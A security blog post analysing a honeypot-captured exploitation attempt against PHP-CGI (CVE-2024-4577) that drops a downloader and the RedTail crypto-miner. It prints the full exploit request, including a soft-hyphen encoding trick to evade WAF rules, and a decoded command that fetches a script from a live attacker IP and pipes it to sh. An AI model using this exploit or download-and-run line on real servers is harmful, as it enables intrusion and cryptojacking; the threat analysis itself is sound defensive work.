As I mentioned in a previous post, I’ve started using the data collected by our honeypot to analyze some exploitation attempts, and a few days ago, one specific log caught my attention.
What really caught my attention was the content of the POST request: that shell_exec()
didn’t go unnoticed. In this post, I’d like to analyze the behavior of the payload, starting from the initial POST and moving on to the actions potentially triggered by the commands sent to the server.
Let’s start with the POST request:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
The “client” makes a request to the file hello.world (which, of course, doesn’t exist on the system), and appears to pass a series of parameters that we’ll now analyze:
/hello.world?
the requested filename
%ADd+allow_url_include%3d1+
The string %AD
corresponds to the soft hyphen character, which in some vulnerable versions of PHP (see title) gets remapped to the -
(dash) character. This is followed by the letter d
, so %ADd
will be interpreted as -d
.
Next comes a space, the +
symbol, and a string that will be interpreted as allow_url_include=1
.
%ADd+auto_prepend_file%3dphp://input
In this last parameter, we again see -d
, followed by auto_prepend_file=php://input
. In a PHP configuration running in CGI mode, this instructs the system to treat the content of the POST request as a PHP file and execute it on the server.
Essentially, in the POST request, the attacker is instructing the server to execute the content provided in the body of the request using PHP. This body content is what we need to examine next.
Before analyzing the request content, it’s important to focus on the %AD
string: why is the threat actor using this encoding instead of the actual -
character? Many web application firewalls (WAFs) might flag a request containing -d
since it’s a known method to pass options and parameters to PHP. Using a different encoding helps bypass detection rules while achieving the same effect, assuming the conditions allow it.
The payload’s content is clearly visible, and for anyone with some familiarity in exploiting, the request might look familiar.
<?php
shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA="));
echo(md5("Hello CVE-2024-4577"));
?>
Let’s proceed step by step, starting with the content — that long string of characters, which is a base64-encoded value. This is clear because the string is passed as input to the base64_decode()
function, which converts it back to its original form.
The content of the string is a shell script command:
X=$(curl http://107.150.0.103/sh || wget http://107.150.0.103/sh -O-); echo "$X" | sh -s cve_2024_4577.selfrep
This command is passed to the shell_exec()
function, which, as the name suggests, interacts with the server’s operating system to execute the given commands. So, if the request reaches this point and PHP executes the instructions, the result will be the execution of the extracted script.
What does this script do? Simply put, it tries to download a file named sh via HTTP from 107.150.0.103 (a system active at the time of writing) and then execute it locally.
Note — We’ve gained two additional artifacts: the IP address of a server clearly used to distribute payloads, and a new potential payload itself.
Given that we discovered a new file being downloaded and executed, it’s worthwhile to analyze this additional component as well.
If you find my content interesting, feel free to subscribe to my blog to stay updated on upcoming videos, articles, and live sessions.
If you want to support my educational project, you can become a supporter on Patreon.
If we analyze the content of the file sh, we find quite a bit of code, which I’ll break down into parts to comment on together (I’ve cleaned up the code to make it more readable).
A function named dlr()
is declared, which provides the script with three different methods to download a file passed as an argument. So, if the function is called with the argument “sheliak”, it will attempt to download a file from http://107[.]150.0.103/sheliak
.
With this set of commands, the script identifies which directories on the system allow write access and the execution of files (such as binaries) within them. It’s clear that the threat actor is probing the environment to find a suitable location to place malware executable by the user running the commands. Additionally, the script reads the system architecture version and stores it in the variable ARCH
.
The script verifies if the identified directories (along with some additional ones specified directly in the for
loop) allow writing files of at least 2 MB. This is clearly to ensure there is sufficient space for the next steps.
Finally, the dlr
function (described earlier) is called to download the file clean
. The file is made executable, run, and then deleted. This gives us another element to analyze.
Before finishing, the script downloads another file based on the detected architecture, choosing from the options defined in the conditions: x86_64, i686, aarch64, and arm7. The downloaded file is renamed to .redtail
(making it a hidden file) and executed. This file is not removed at the end of the script.
From this payload, two new elements emerge: clean
and .redtail
.
This is a new shell script that, given the context, does something interesting: it cleans the machine’s crontab configuration from potential compromises and tries to disable services related to a crypto miner called c3pool_miner
.
In this initial analysis, the purpose of this script appears to be to clean the system of other miners. It might also serve as a way to mislead analysts during artifact examination, but the main goal seems to be removing competing mining software.
We have temporarily paused our analysis on this file: it is a binary downloaded according to the system’s detected architecture. During our test, we downloaded two versions: x86_64 and i686.
I used some readily accessible tools to get an idea of the type of executable found—specifically, VirusTotal and Hybrid Analysis were helpful and both agreed on the verdict of a known malware.
Hybrid Analysis also reports two related IoCs, specifically two IP addresses from which the file was downloaded in previous analyses:
This information can be included as documented data in a threat intelligence report, alongside the IP addresses identified in our payloads.
The file is identified as a crypto miner, which partly explains why the threat actor tries to clean the system of other possible miners. It is also a malware detected statically by many antivirus programs, but it’s important to consider that many VPS used for web services are not equipped with antivirus software, leaving them exposed.
In this post, I won’t go further with the binary analysis, but I’m preparing to do more and may publish a follow-up later.
I still have a big question to clarify: why did the threat actor bother exploiting a known PHP vulnerability that theoretically makes sense only on Windows systems, then chain a series of payloads targeting Linux? My guess is they made a mistake 🙂 it didn’t make sense to use that specific vulnerability against a *nix operating system.
I want to revisit the last payload. Meanwhile, here’s the link to the live session where we analyzed part of it: https://www.patreon.com/posts/live-session-di-130916123.